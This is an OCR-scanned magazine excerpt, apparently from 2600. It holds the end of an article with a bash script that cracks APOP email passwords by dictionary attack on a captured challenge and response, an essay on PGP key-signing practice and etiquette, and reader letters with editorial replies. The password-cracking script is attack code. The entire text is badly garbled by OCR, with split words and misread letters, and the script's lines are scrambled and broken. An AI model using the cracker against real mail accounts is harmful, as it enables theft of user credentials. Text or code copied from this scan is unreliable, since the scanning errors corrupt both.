hash i n g  them with the  cha llenge and checki n g  
whether  it matches t h e  response .  I f  i t  gets a h i t  it 
echoes the wo rd that matched a nd  exits . 

#ApopCrack 

#$ 1 i s  the word l i s t  fil e  

# $ 2  i s  the c h a l lenge sent by the s erver 

#$ 3 i s  the response sent by the c l ient 

#start looping through each l ine i n  the 

-word l i s t  fil e  

e x e c  < $ 1  

whi l e  read Pas sWord 

do 

#if the mdS h a s h  matches , echo the word 

-that worked and exit 

i f  [ [  ' md 5  -qs $ 2 $Pas sWord' 

then 

fi 

echo $ P a s sWord 

exit 

done 

$ 3 I I  

I f  you r e a l l y  want secure ema i l  authen 

-tication , u s e  S S L . 
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by Atom Smasher 
atom@smasher.org 

762A 3 898 A3C3 96C9 C687 
582A 888D 52E4 D9F5 7808 

Whi le there a re severa L  sources of tech nicaL 
i n formation  on  usi n g  pgp in generaL and key 
sign i ng  in pa rti cu La r, this a rti cle emphasizes so­
cia L  aspects of key sign i ng  that a re too often ig­
nored ,  mis Leadi ng ,  o r  i n correct i n  the  tech ni ca L  
Literature. There a re a Lso techn ica L  issues poi nted 
out where I beLi eve other  documentati on  to be 
Lacki n g .  It is  impo rtant to acknowLedge and ad­
d ress soci a L  aspects i n  a system such as  pgp  be­
cause the  wea kest Li n k  i n  the  system i s  the 
human that i s  usi n g  it. The a Lgorithms ,  p rotocoLs, 
and app Li cations  used as pa rt of a pgp system a re 
reLativeLy diffi cu Lt to compromise or " b rea k , "  b ut 
the h uman  user ca n often be easi ly foo Led .  Si n ce 
the h uman  is the  wea k Li n k  i n  th is  chai n ,  atten­
tion  m ust be  paid to actions  a n d  decisions  of that 
h uman ;  users m ust be aware of the  pitfa lls a nd  
k now  how to  avoid them . 

This a rti cle is i ntended to be of use to those 
wish ing  to pa rti ci pate i n  the exchange  of signa­
tu res on  thei r  Open PG P keys. I t  i s  assumed that  
the reader  has  a bas ic  u ndersta nd ing  of pgp ,  
what i t ' s  used fo r, a nd  how to use i t .  Those more 
experienced with pgp may wish  to s ki p  the  sec­
tions  they a re fa mi li a r  with , but it i s  suggested 
that even the basic i nformation  be reviewed .  

Relevant Terminology 
Alice, Bob, et al: Fo llowi ng  cryptographic  

conventi o n ,  A li ce and Bob represent two people 
who wish  to com municate with each other. Trent 
i s  a trusted th i rd pa rty. Eve i s  a passive eaves­
dropper. Ma llory is a ma Licious  active attacker. 

certificate: See sig nature. 
GnuPG: The G n u  Privacy G uard .  This i s  a n  ap­

p li cation  that p rocesses OpenPG P data . It is 
freeLy distri b uted under  the terms of the G N U  
Genera L  Pub Li c  Li cense. 

gpg: G n u PG .  
OpenPGP: A s  defi ned i n  RFC2440, th is  defi nes 

a message format concerni ng  encrypted a n d/or 
a uthenticated data . 

PGP (uppercase): This refers to a specific ap­
p li cati on  that p rocesses Open PG P data .  PG P i s  a 
registered trademark  of whichever company cur­
rently owns the  rig h ts to it. 

pgp (lowercase) : Dependi n g  on  context this 
may refer to the Open PG P p rotocol o r  any app Li ­
cati on  that  uses  i t ,  such as  PG P o r  G n u PG .  

signature: A di gita l si gnature o f  data . A si g­
natu re of a pgp  key i s  often ca lled a certifi cate or 
certificati o n .  

secure: This i s  a subjective term that i s  fre­
quently misused as a n  abso Lute term (sim i la r  to 
terms such as "easy" and "fast" ) .  Used as a noun ,  
"secu re" mean s  nothi ng  meani ngfu L u n Less it i s  
qua Lified  by a n  adjective. U sed  as a n  adjective, it 
means n othi ng  meani n gfu L u n less it i s  qua Lified  
by a n  adverb. Somethi ng  may be secure agai nst 
fi re, flood ,  eavesd roppi ng ,  cryptana lysis ,  h igh 
exp Losives , a Lien  tech no Logy, etc .  It i s  genera LLy 
be lieved that there is no such thi ng  as abso Lute 
secu rity, thus  nothi ng  may be considered ab­
so LuteLy secure .  O n ly when a th reat modeL  i s  eva l­
uated can one  properly defi ne  what "secure" 
means  in a given context. If "secure" is  used 
without qua Lificati o n ,  it m ust be i nterpreted by 
the  reader based on thei r  own needs and  percep­
tions .  If "secure" i s  used in a n  advertisement or 
p ress release, its meani n g  deserves suspici on  a n d  
scruti ny. 

UID: User Identifi cation  fie ld .  This i s  a com­
ponent of a pgp  key that contai n s  i nformation  
about  the  key's owner. Usua lly a UID i ncludes 
both a person ' s  (o r  group's) name and a va Li d  
ema i l  add ress where the  person (or  group)  may 
be contacted . Optiona LLy, a comment may a lso be 
i n cluded i n  the  UID .  

Observations on Generating 
and Maintaining Keys 

When one  fi rst generates a key, it is impo r­
tant that it be done  on a secure mach ine  i n  a se­
cure envi ro n ment. One attack agai n st pgp that is 
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rareLy menti o ned a llows Ma llory to stea L o r  even 
rep Lace a pgp key befo re it i s  distri b uted . Ma llo ry 
wou Ld n eed to compromise Bob ' s  computer p ri o r  
t o  Bob ' s  creati on  of a key. 

Ma llo ry couLd then eavesdrop on Bob  as he  
types the pgp passph rase fo r the first time  a nd  
stea L  the passph rase a Long  with the secret key. I n  
t h i s  case Bob ' s  key i s  compromised befo re i t  even 
exi sts. 

If at a ny ti me  Ma LLory i s  a b Le to b rea k i nto 
Bob ' s  computer, s he  ca n stea L h is  p rivate key a n d  
wait fo r h im  t o  type i n  h i s  p g p  passph rase. Ma L­
Lory may use a vi rus o r  trojan  to accomp Li s h  th is .  
A screwd river o r  bootab Le CD  can comp romise the  
p rivate key. A spy  ca mera o r  key-Logger ca n com­
promise  the passph rase.  Th i s  wouLd a LLow Ma LLory 
to read any message ever en crypted to Bob a nd  
sig n  a ny  message o r  key with Bob ' s  sig nature. 

Aside  from keepi ng  h is  persona L  computer se­
cure ,  Bob  s hou Ld save a copy of his p rivate key i n  
a secu re ,  off- Li n e, off-site Locati o n .  This off- Li n e  
a n d  off-site backup keeps Bob 's  p rivate key se­
cure agai n st Loss from such th ings  as disk crash  
o r  h is computer bei n g  stoLen by  eithe r  common  
o r  govern ment thi eves.  Dependi ng  o n  who  i s  out 
to get h im ,  h e  may consider  it mo re secu re to 
bu rn  h is  p rivate key o nto a CD a nd  store it i n  a 
ban k  safe, or p rint  it o nto paper a n d  h ide it i n ­
side  a painti n g .  A s  a Lways , the most app rop riate 
mean i ng  of "secure" i s  Left to the needs and per­
ception s  of the  reader. 

Note that it is often u n necessa ry to m a ke a 
backup copy of a pub Li c  key fo r two reasons :  1 )  if 
it i s  pub lic ly avai la b Le and ca n be retrieved from a 
keyserver a nd  2) the "gpgsplit" command  has  a 
"secret-to-pub Li c" opti on  that ca n recover a pub­
Li c key from a p rivate key. Note that gpgsp Lit may 
n ot recover accu rate expirati o n  dates a n d  p refer­
en ces if they were u pdated after the key was cre­
ated .  

One  s hou Ld never sig n  a key (o r  use pgp  at a LL) 
on an u ntrusted computer or in an untrusted en­
vi ron ment. Gather  the i n formatio n  n eeded to 
sig n  a key and sig n  it when  you get home.  If  your  
home computer a nd  envi ro n ment a re not trusted , 
you have bigger probLems to wo rry about. 

Requisites of Key Signing 
One  s hou Ld genera lly consider sig n i ng  a key 

o n Ly after the  fo llowi n g  th ree req uirements h ave 
been met in a way that the si gner  conside rs ac­
ceptab Le:  1 )  The fi ngerp rint  of the key bei n g  
sig n ed has  b een  accu rateLy verifi ed;  2 )  the  owner  
of the  key bei n g  sig ned has  asserted ( o r  p refer­
ab Ly p roven )  that they "own" or contro L the p ri ­
vate component  of that key a nd ;  3 )  the owner  
has  proven that they a re who  they c lai m to be 
and thei r  key represents them as  such .  

Proving Identity and Assigning a Check Level 
When sig ni n g  keys, OpenPGP  a llows o ne  of 

fou r  LeveLs of verification  to be used with  each 
signature. This a llows a means of com m u ni cati n g  
t h e  LeveL o f  confi dence t h e  signe r  h a s  gai n ed i n  
estab Li s h i ng  the  identity o f  t h e  key's owner :  

0 - No  pa rti cu La r  cla im i s  made (generi c  certi ­
ficati o n )  

1 - No  verifi cati o n  of i dentity (persona  certifi­
cati o n )  

2 - Casua L  verification  o f  identity ( casua L  cer­
tificati o n )  

3 - Exten sive verifi cation  o f  i dentity (positive 
certificati o n )  

T he  defi niti on s  o f  verificati o n  Leve Ls a re 
vague  by desi g n  rather  than  by acci dent.  This is a 
feature, n ot a flaw, i n  the Open PG P specificati o n .  
What one  person considers a n  "exhaustive verifi­
cati o n ," a n other  person may consider LittLe ( in ­
suffi ci ent) verifi cati o n .  Someone e Lse may wish  
to avoi d the  i ssue a Ltogether  a nd  si mp Ly si g n  with 
no particu La r  clai m .  The Leve L of verifi cati o n  asso­
ciated with a sig nature rests enti reLy with the is­
suer  of that signature. When s igni ng  a key, use 
whatever Leve L you a re most comfortab Le with ,  
usi n g  you r  own i nterpretati on  o f  t h e  fou r  LeveLs . 

Issui n g  a Leve L 1 signatu re s hou Ld usua LLy be 
avoi ded .  Some pgp  app Li cations  may conside r  a 
LeveL 1 sig natu re j ust as good as a LeveL 3 signa­
ture. There 's usua lly no  reason to  i s sue  a signa­
ture un Less some verifi cation  of identity has  been 
done. In generaL it 's better to n ot issue a si gna­
tu re than  to  issue a LeveL 1 sig nature. 

Ideal Ci rcumstances for Confi rming Identity 
Identity verifi cation  is straightforward when 

ALice a n d  Bob a re si ster a nd  b rother :  Havi n g  
known each other  thei r  who Le Lives, they ca n 
each be certai n that the other is who  they clai m 
to be a nd  thei r  keys represent th is  known iden­
tity. After exchang i ng  and  verifyi n g  key i n forma­
ti o n ,  they may confi dently si g n  each other ' s  keys 
with a verificati o n  LeveL of 3 .  

Things Can Get Tricky 
When Confirming Identity 

What if ALice a n d  Bob know each oth er o n Ly 
t h rough  their  work? They ca n produce identifica­
tion  in va rious  fo rms (d river Li cense,  passport, 
work ID, credit ca rds ,  etc. )  attempti ng  to p rove 
thei r  identiti es to each other. If they consider 
th is  to be a n  exhaustive verification  of identity, 
then they may choose to si g n  each other 's keys 
with a veri fi cati o n  LeveL of 3 .  They may have 
known each other  Long  enough  that checki n g  
each other's identification  seems u n necessa ry. 
The choi ce i s  thei rs .  

One  o r  both of them mig ht n ot trust a ny of 
the  identificati o n  si n ce they know how easy it  i s  
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to stea l a n  identity or create a fa lse i dentity. In 
this case one o r  both of them might consider that 
thei r  signature o n ly deserves a verification  level 
of 0 o r  2 dependi n g  on thei r  confidence i n  deter­
min i n g  each other 's i dentity. 

It i s  i mportant to n ote that they do  n ot have 
to ag ree on a level of verificati on  for each other. 
Each of them may i ndependently assi g n  a level of 
verificati o n  to thei r  signature. 

If Ma llo ry clai ms  that her  name i s  "Tony So­
p rano "  o r  if she has six different passports with 
six different n ames,  o ne  mig ht suspect that she  
i s n 't who  she  c lai ms  to  be .  One  might  decide  not 
to sig n  a ny of the  keys that Ma llo ry p resents. 

Things Can Get Trickier When 
Confirming a Pseudononymous Identity 
What if Bob ' s  key, i n stead of i dentifyi n g  h im 

by h is  rea l name ,  identifies h im  as  "The Bobster?" 
In this case, Bob is usi n g  a pseudononymous key. 
It is u n li ke ly that Bob has any va li d  i dentifi cation  
that  ca n confi rm  th i s  pseudononymous identity. 
It may seem li ke A lice s hou ld n 't sig n  it, but that's 
u p  to A lice.  If A lice ca n verify Bob's pseudonony­
mous  identity to her  own satisfacti o n ,  then s he  
may  choose to  sig n  h is  key with an  app rop riate 
leve l of verifi cati on  (as determi n ed by her) . It is 
reasonab le that Bob may earn a verifi cation  level 
dependent o n  h ow he is a b le to p rove h is  iden­
tity. As a lways, if Bob  wants A lice to sig n  h is  key, 
he has  to p rove to her  sati sfaction  that he is who  
h e  clai ms  to  be,  rega rd less of whether  o r  not h i s  
key i s  pseudononymous .  

It  i s  impo rtant to note that some people may 
have strong  reservati on s  about sign ing  
pseudononymous keys . I f  you a re usi n g  such a 
key, do n ot be offended if someone i s n 't comfort­
ab le si gn i ng  it. Offer to si g n  thei r  key a nyway if 
they have ea rned you r  signature. 

Last Word on Confi rming an  Identity 
You a re n ever ob ligated to sig n  a nyone 's  key. 

You a re n ever ob ligated to sig n  a key with a par­
ti cu la r  level of verificati o n .  

I f  y o u  do  choose t o  sig n  someone ' s  key, they 
a re ob ligated to prove thei r  identity to you r  satis­
facti o n .  O n ly si g n  thei r  key with a verifi cation  
level that  you a re comfortab le with . Th i s  app lies 
equa lly to pseudononymous keys, a nonymous 
keys, and keys usi n g  rea l  n ames . 

How to Sign a Key 
Th roughout the n ext severa l sections ,  refer­

ences wi ll be made to " key i nformati o n . "  This i s  
the  i n formation  requ i red to  confi rm that  a key i s  
n ot mista ken for a different key. At a m ini m u m ,  
this i n fo rmatio n  m ust i n clude t h e  U I D  and  fi n ­
gerp ri nt. For o lder  style (v2  o r  v3)  keys this i n fo r­
mation  m ust a lso i nclude key type ( most li kely 
RSA ) ,  c reati on  date, a nd  key size. Near ly a ll pgp 

keys cur rently i n  use a re v4 keys a n d  it ' s  genera lly 
conside red acceptab le to verify j ust the  UID a n d  
fi ngerp ri nt. 

U si n g  G n u PG ,  this com mand  wi ll d isp lay a ll 
n eeded i n formati on  (except creati on  date) fo r 
Bob ' s  key: 
gpg - -fin gerpri n t  bob 

How to Sign a Key Under Ideal Circumstances 
Idea lly, if A li ce a nd  Bob want to exchange  key 

sig natures, they wi ll p la n  an i n -person  meeti n g  
for this p u rpose.  Pri o r  t o  meeti n g ,  each o f  them 
wi ll p ri nt  thei r  key i nfo rmation  o n  a sma ll piece 
of paper  a nd  verify that the  p ri ntout is correct. 
When  they meet, they exchange  thei r  s lips  of pa­
per. If req ui red,  they may ta ke this opportunity 
to p resent each other  with fo rmal  i dentifi cati o n .  
After enj oyi ng each other 's company, they each 
retu rn home, verify each other 's key i nfo rmati on  
to  be correct (between the  papers they ex­
changed a n d  the keys they a re about to sig n ) ,  
a n d  sig n  each other 's keys. They may  t h e n  ex­
change  sig ned keys. 

Alice and Bob Meet on the Train 
A lice a n d  Bob have been mean i ng  to get to­

gether  a n d  exchange  key signatu res but their  
busy sched u les haven 't  a llowed th is .  Alice gets on  
the  tra in  where s he's p leasa ntly su rprised to  see 
Bob .  They weren 't p la nn i ng  to meet and n either  
of them has  thei r  key i nfo rmation  with them . Th is  
may seem hope less but after verifyi ng  each 
other ' s  i dentificati on  (to the  extent they both 
consider n ecessa ry) they exchange  a secret 
passph rase .  When they get home, each of them 
wi ll p rint  thei r  key i n formatio n  to a fi le a nd  sym­
metri ca lly encrypt th i s  fi le to the  passph rase 
known o n ly between them . A command  li ke this 
(on  * nix) wi ll export Bob ' s  key i nfo rmation  a n d  
u s e  a passph rase t o  sym metrica lly encrypt i t  i nto 
a fi le: 
gpg - -fin gerpri n t  bob I gpg - a c  > 

-bob . keyin fo . a s c  

En ter p a s sphra s e : 

Bob can mai l  that fi le to A lice a n d ,  after de­
crypti ng  the  fi le (usi n g  the pass p h rase known 
o n ly to them) ,  A li ce ca n confi rm that she  i s  sig n ­
i n g  the  correct key. A li ce uses the same method 
to send  he r  key information  to Bob .  

In o rder  fo r th i s  p rotocol to  be secure a 
pass p h rase must be "strong , "  mu st never be  
reused,  a nd  ca re m ust be ta ken that  the 
pass p h rase i sn 't overheard (o r  otherwise made 
known)  by anyone  other  than A li ce and Bob .  If 
Eve observes the  passph rase bei n g  exchanged 
she may foo l  both A lice and Bob  i nto si gn i ng  the 
wrong  keys . 
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Key Signing Parties 
If you a re h osti n g  a key sign i ng  pa rty, be su re 

to read Len Sassaman ' s  " Effi cient G roup  Key Sig n ­
i n g  Method . "  I f  you  a re attendi n g  a key sig n i ng  
pa rty, be su re t ha t  the  h ost has read it. 

Key sign i ng  pa rti es a re descri bed on severa l 
websites, n egati n g  any n eed to discuss them he re 
i n  a ny g reat detai l . H owever, much  of the  cur­
rently avai lab le i n formation  on the topic i s  
dated, i n secure, b reaches p roper eti quette ,  o r  i s  
j ust p la in  wrong .  I suggest readi ng  up  on  key 
sign i ng  pa rties to get a general  i dea of h ow they 
work,  a nd  then read the sections  of this a rti c le 
referri n g  to identity confi rmati o n ,  eti quette, a nd  
exchange  o f  si gned  keys . 

Key Signing Etiquette 
Usua lly ( b ut n ot a lways ) ,  key si gnatures a re 

m utua lly exchanged between two people .  This i s  
known as a reci p roca l  key-signi n g .  Th i s  exchange  
usua lly ( but n ot a lways) means  that  if A li ce si g n s  
Bob ' s  key, s he  expects Bob to  sig n  her  key. This 
may not a lways be practi ca l o r  desi red . 

Fo r any n umber  of reasons (or  n o  reason at 
a ll) Bob may n ot wa nt Ali ce's si g n ature on h i s  
key. An exa mp le might  be a premature expi rati o n  
date on  the si gnature that Bob  doesn 't want. I n  
order to  acco m m odate t h i s  situati o n ,  proper key 
si gn i ng  eti q uette req ui res that Ali ce send Bob ' s  
si gned key o n ly to Bob .  If  Alice sends Bob ' s  
si g ned key to a keyserver, it wi ll remai n i n  pub li c  
ci rcu lati o n  i n defi nitely a nd  Bob has n o  contro l 
over it. If A li ce sends Bob ' s  signed  key to a n other  
pgp  user, it may fi n d  its way to a keyserver a nd  
become  pub li c ly ci rcu lated .  I f  Bob  wa nts Ali ce's 
si gnatu re on  h is  key to be circu lated ,  then Bob 
may up load it to a key server o r  distri bute it as he  
sees  fit. 

Fo r a ny n u m ber  of reasons  (o r  no reason at 
a ll) Bob may n ot want to sig n  Ali ce 's key. In o rder  
to acco m modate this situati o n ,  proper  key sig n ­
i n g  eti q uette requi res that Bob doe s  n ot i m medi­
ately di stri b ute A li ce's si gnatu re on  h is  key. Bob 
s hou ld fi rst ask  A li ce if i t ' s  OK  with her  that he  
ci rcu late her  si g natu re on  h is  key even t hough  he  
does n ot i nten d  to  sig n  her  key. I f  A li ce does n ot 
want her  signature used without receivi ng  a sig­
nature i n  retu rn ,  Bob  shou ld destroy h is  copy of 
Alice's si gnatu re a nd  n ot distri bute it. 

You a re unde r  no ob ligation  to sig n  a nyone 's  
key or  si g n  it with a pa rti cu la r  level of verifi ca­
tio n .  Fo r a ny n u m ber of reasons  (or no reason at 
a ll) you may n ot want to sig n  someone e lse 's key. 
J ust because someone has signed  you r  key does 
n ot ob ligate you to sig n  thei r  key. If they have 
si gned you r  key a n d  up loaded it to a keyserver, 
they have vio lated th is  etiquette . Thei r  b reach of 
eti q uette does n ot p lace you under  any ob liga­
tio n  to sig n  thei r  key. 

Delivery of a Signed Key 
As descri bed in the section  on eti quette ,  a 

sig ned key s hou ld be emai led to the key's owner. 
Fo r e n hanced secu rity the  signed  key s hou ld be 
en crypted usi n g  the  reci pient's pub li c  key. A lice 
en crypts Bob's sig ned key to Bob (usi n g  Bob ' s  
pub li c  key) a nd  ema i ls it to the add ress i n  the 
UID of Bob ' s  key. If  Bob has mo re tha n one  UID 
on  his key with mo re than  one  add ress per  key, 
A li ce s hou ld si g n  each UID i n dependently a n d  
s e n d  each si gned  U I D  t o  that add ress. 

This p rovides one fi n a l  test for Bob  to p rove 
his ownersh ip  of the  key and  accuracy of the  UID :  
If  Bob can n ot receive o r  decrypt the sig n ed key, 
Bob can n ot ( and  s hou ld n ot) make use of that 
signature. This p rotocol is advantageous to both 
A li ce and Bob. A li ce i s  p rotected from havi n g  her 
signatu re ci rcu lated on  a key with a n  i n co rrect 
emai l add ress or a key that is n ot contro lled by a 
user of that add ress.  Bob can review that the  sig­
natu re i s  acceptab le to h im befo re ci rcu lati n g  it. 

Delivery of a Signed Key 
Between Untrusting Parties 

Someti mes A li ce a nd  Bob may wa nt to sig n  
each other 's keys bu t  they distrust each oth er. 
This is a reasonab le situation  si n ce sig n i ng  a key 
is a certificati o n  of identity, n ot character. Nei­
ther of them wa nts to offer a si gned key u nti l af­
ter the other  has  done  so first. There a re severa l 
imp racti ca l  protoco ls fo r so lvi n g  this .  The most 
p ractica l  so lution  req ui res the he lp of Trent. Both 
Alice a nd  Bob send each other 's sig ned keys to 
Trent. Trent wi ll pass a long  the sig ned keys o n ly 
after both of  them a re received .  This p revents Al­
ice from wit h ho ldi ng  her  sig natu re from Bob af­
ter Bob de livers his si gnature to Alice .  
Big lum ber. com p rovides exactly this servi ce. 

If the above p rotocol i s  used,  it may n ot be 
p ractica l  to en crypt the signed key to its owner. 
It is therefo re suggested that a n  en crypted a n d  
signed emai l  exchange  be m a d e  p ri o r  t o  exchang­
i n g  sig natu res , to ensure that  the key a nd  the 
UID (s) a re correct. 

Suggested Further Reading 
Bruce Sch neie r, Applied Cryptography 

B ruce Schnei er, Secrets and Lies 
Len Sassaman ,  " Effi cient G roup  Key Si gn i ng  

Method" (http ://si on . quickie . net/keysign i ng .txt) 
"Ali ce a nd  Bob"  (http ://en .wi ki pedi a . o rg/wi ki 

-/ Ali ce_a nd_Bob)  
Atom Smasher 's Open Source & Secu rity Li n k s  

( http ://atom . smasher. o rg/li n ks/) 
SpeciaL proofreading and editoriaL thanks to: 

Ed Moyle, Duane Dunston, and Seth Hardy. 
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e dials ,  If you want 

a look ,  , co m ,  We' re tryi ng  
to  fig u re out what  the heck  t h i s  thin g was  u sed  fo r, Also, 
obvious ly the letters "0" and "Z" a re omitted ,  but the let­
ter "0"  is on "zero , "  Has  a nyone ever seen this before? 

Nate 
It's a bit before our time but there a re certa inly read­

ers who will feel a nostalgic pang upon seeing this. We 
hope they share wha t they know, 

Dear 2600: 
I was wonderi n g  when you a re going to start accept­

i ng  app licati ons  fo r doi n g  talks at the next HOPE  because 
I would li ke to submit one.  

K n l ghtlOrd 
If it isn 't up and running at  www. hope. net by the 

time you read this, it will be very soon. 

Dear 2600: 
I have a q uick  q uestion  that some readers might be 

ab le to a n swer. On the  newest versi o n  of MSN  Messenger, 
there is a password additi o n .  When you type in your  us�r 
name and  password and  click s ign  in,  there i s  a nother as - ­
teri sk  that gets added to the passwo rd ,  Anybody have an 
i dea what that asteri s k  i s  added for o r  what key it is? 

B uzzbros 2002 
We eagerly a wa it the answer as well. But sometimes 

an  asterisk is just an asterisk. 

Dear 2600: 
I recently sta rted subscri bi ng  to your magazi ne  a fter 

years of being a regu la r  reader  - and havi n g  purchased 
my copies at Barnes and  Noble, etc. 

I was t humb i ng  through a coup le of your past issups 
and noti ced someth ing that a la rmed me ,  You r  avera ge  
sa les of  each i ssue was li ke 82 ,000 (give o r  take) a n d  of 
these 7 2 , 000 were sold via dea lers a n d  o n ly 69 were from 
subscri pti on s ,  69 from subscri ptions?  Is this rig ht? 

It blew me away that so many people read your mag ,  
but yet - fo r whatever reason - don 't subscribe ,  My fi rst 
i n sti n ct would be that they don ' t  want to be on  that i n fa­
mous " list" th at's out there somewhere ,  

Anyway, I was j ust curious  if these num bers were 
ri ght  a n d  what your ta ke i s  o n  th is ,  

LiRM 
The 69 you saw referred only to  in-county subscrip­

tions, The total number was closer to 5, 000, But there 
are s till a grea t dea l more who choose to pick us up a t  
newsstands and bookstores, There a re many reasons for 
this - people may see us for the first time or perhaps, as 
you say. they don 't wa nt  to be on a list, We maintain tha t 
our subsc riber lis t  is perfectly safe but it's really up to the 
individual to dedde how they want  to get their issues, 
We're thrilled tha t  so many people continue to read our 

pages. Our distributors tell us we have a very strong 
readership and, considering how many publications they 
deal with, there is no better compliment. Hopefully we 
will continue to be relevant  and interesting in the future. 

Dear 2600: 
Out of cu riosity I'd li ke to know why in System Down­

fall 's  a rti cle, the second  person ,  Worm,  wasn 't men­
tioned ,  System cla ims  that  h e  sent the a rti cle with the 
li ne :  "by System Downfall a nd  Wo rm , "  It  was  a n  a rti cle 
about Imageshack ,  I can o n ly assume n ow if he's telli n g  
t h e  truth o r  not, I ' d  li ke t o  have evidence so w e  can fi­
na lly end that  useless debate. 

Tenchuu 
We sure do hate to  be the cause of such drama but if  

you were to  actua lly read the article you were referring 
to, you should have no problem seeing the authors '  
names (both o f  them) i n  the credits, Only one email ad­
dress was given so perhaps that 's the source of the con­
fusion, 

New Ideas 
Dear 2600: 

I thought  it might be to your li ki ng  to add a sma ll 
tech-jokes secti o n ,  Whi le talki ng  with a fri end (Haggs ) ,  
the fo llowi ng  came  up :  

Haggs: So WPA is secu re fo r wifi ? 
Impact: As fa r as I know, even it 's n ot 100 percent. 
Haggs: Ki nda li ke condoms""  
Impact: None  o f  t h em  a re a s u re thi ng ,  b u t  it 's better 

to use one than not. . "  
Impact 

Well tha t  sure was a knee-slapper but we do have to 
be considerate of those for whom such laughter can be 
fa tal. If someone's sides were to literally split a fter read­
ing the above, it would cease being h ilarious and only 
beco me mildly amusing. Humor must therefore remain a 
tactical weapon, for use only against one's worst ene­
m ies, 

Dear 2600: 
I was thi n ki n g  you could call the  next HOPE  confer­

ence HOPE  6 6 6 ,  6 6 6  bei ng  the devi l's n um ber. The fi rst 
six because it's the sixth HOPE ,  the second because it's i n  
t he  yea r 2 0 0 6 ,  and  t h e  th i rd beca use o f  t h e  6 i n  2600. 

What do you thi n k? 
Beowulf 

You had us up until tha t  last  one. But the name of 
the conference will be Hope Number Six for a variety of 
reasons, We hope to see you there on July 21 -23, 2006 in  
New York City, Visit www. hope. net for updates, And it's 
not too ea rly to start working on a name for 2008, 

Dear 2600: 
The truth , What is there to know? Someti mes true, 

a lways lyi n g ,  It sp latters, affecti ng ,  o r  rather, i n fecti n g  
everyth ing  a n d  everyone ,  Locllsts o f  the  rea l world, 
sound to the deaf, pictu res to the b li n d ,  More than 
knowledge of the un known,  l ies of the un sai d ,  Li es a re 
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what  exist, t h ey exist to create; to create, to d estroy, to 
m ai m .  Gove r n m enta l p loys to s h i eld us fro m t h e  trut h .  
T il e  truth t h a t  t h e  o n ly rea l thi n g  o u t  t h e re ,  t h e  o n ly rea l 
a n d  true thi n g ,  is o u rselves .  O u rselves a n d  o u r  freedom 
to express.  Exp ress o u r  u n d yi n g  - n ever ending  - hate fo r 
t h e  brot h e r h o o d  k n o w n  o n ly as the "gove r n m e n t . "  A 
s h ell,  a meani n g less organizati o n  used to s u c k  every 
p e n n y  a n d  m i n ute of la b o r  out  of us ,  w h i lst u si n g  that li ­
posucti o n ,  fat-fi lle d ,  bi li o u s  m o n ey to fu n d  its own peo­
p le and d u m my corpo rati o n s ' a ll fo r one.  Feedi n g  off t h e  
sweat of o t h e r s .  This  i s  o n ly t h e  begi n n i n g  - th is  i s  w h e re 
you corne i n .  The truth is n othi n g  . . .  without you to h e a r  
it.  

ph4n7oMphr34k 
You may well have a career as a thrash metal  lyricist. 

Genera l  Feedback 
Dear 2600: 

I j ust picked up 2 2 : 2  (fro m Ba rnes a n d  N o b le - I let 
my s u b scri pti o n  la pse)  a n d  was d e li g hted to see t h e  
p h oto o n  t h e  back cover. I t h o u g ht, " O h ,  good ! T h ey used 
my p h oto ! "  Then  I saw t h e  credit .  You see,  I ' m  n ot 
"tO n edep h . "  I sent  you fo lks  a p h oto m u c h  li ke that  o n e  a 
year a g o .  N ever h e a r d  back .  I d i d n 't a s k  fo r a subscri p­
ti o n  o r  t-s h i rt t il e n ,  a n d  I'm not d oi n g  that n ow. J ust 
s u r p rised at t h e  p h oto credit. 

I t h o u g h t  it was a g reat s h ot.  G la d  to see it  in the 
mag. Kudos to tO n e d e p h  fo r taki n g  it. 

SAM 
This is an  unfortuna te side effect of our not ha ving a 

back cover photo section when you sent in your  submis­
sion. Over the years we've gotten simi[ar [etters from 
people who took pictures of ttre exact same foreign pay­
phone as someone else. These things do happen but we 
still appreciate the effe rts of all who contribute, regard .. 
less of whether or  not they make it into our pagcs. It's a t· 
ways good to know there a re people out their with their 
eyes open. 

Dear 2600: 
To begi n wit h ,  tha n k  you 2600 fo r b ri n g i n g  out a 

grea t magazi n e  a n d  t h a 'l k s  fo r a l l  the  g reat a rti cles that  
people h ave sent.  The  o n e  a rti c,e that I thi n k  was rea Uy 
I l ice :n the 2 2 : 2  i s s u e  was " W h e re H ave All rhe I m p la n ts 
G o n e" "  by Estra g o n .  I tr u ly beli eve a rti cles li ke that (d n 
e n d  up c h a n g i n g  p e o p le fo r t h ei r  g o o d .  Agai n ,  tha n k  you 
2600 fo r givi n g  p e o p le the o p p o rtu nity to s h a re !  

Merli n 
We are merely the conduit of informa tion.  The people 

out there who a re willing to share their ideas and discov­
er ies are the true life force. 

Dear 2600: 
Rega rdi n g  your  a rti el,' on AH� eavesd roppi n g  in 2 2 : 2 ,  

t h e  writer clearly h a s  n o  idea what h e  i s  talki n g  a bout.  
AIM fo r m e rly had other  c li ents si g n  off w h e n  a n ot h e r  
si g n ed o n ,  but t h ey rece ntly c h a n ged it to a llow m u lti p le 
si g n o n s .  H o wever, you sti ll g et a m essa g e  fro m a user  
n a m e d  "AOL Instant  Messenger"  that  te l ls  you y o u r  

n a m e  h a s  si g n ed o n  at a n ot h e r  locati o n  - it a ls o  
you t h e  opti o n  to disco n n ect oth e r  sessi o n s  by 

d " 1 "  to that  screen n a m e .  For bei n g  an "1M a d ­
a s  the  a ut h o r  described h i m s e lf, h e  s h o u ld h ave 

Coli n  

Dear 2600: \ 
It w o u ld have been h e lpfu l if george h a d  researched : 

h o w  h i s  M a c  OS h a d  p layed i n to t h e  b u g .  Was h i s  Power- I 
b o o k  r u n n i n g  OS X or OS 9? Was he u si n g  i C h a t  o r  s o m e  ' 
other  AIM-based 1M p ro g ra m ?  As a M a c  user, I ca n tell  
you that  i f  you acci d enta lly leave iChat o n  at one locati o n  
a n d  a ttempt t o  l o g  i nto a seco n d  locati o n ,  it  wi ll i nfo rm 
you and ask w h et h e r  you want  to quit  t h e  attempt o r  
forci b ly l o g  off t h e  p revi o u s  sessi o n .  I w o n d e r  if  th is  b u g  
G e o r g e  discovered i s  " h a lf" of th is  . . .  m a y b e  with your  a c ­
count  o p e n e d  i n  Wi n d ows and M a c  a llows b o t h  si m u lta­
n e o u s ly. A n  i nteresti n g  b u g  but I 'd  li ke to have seen a 
lo n g e r  a rti cle with exhaustive testi n g  a n d  experi m e n ta­
ti o n .  

Glutton 
We would like to see tha t  as well. Longer articles 

tend to make the point clearer. 

Dear 2600: 
I am writi n g  beca use I am d u m bfo u n d e d  that  an a rti .. 

cle as worth less as " C reati n g  AIM M a y h e m "  was p u b li s h e u  
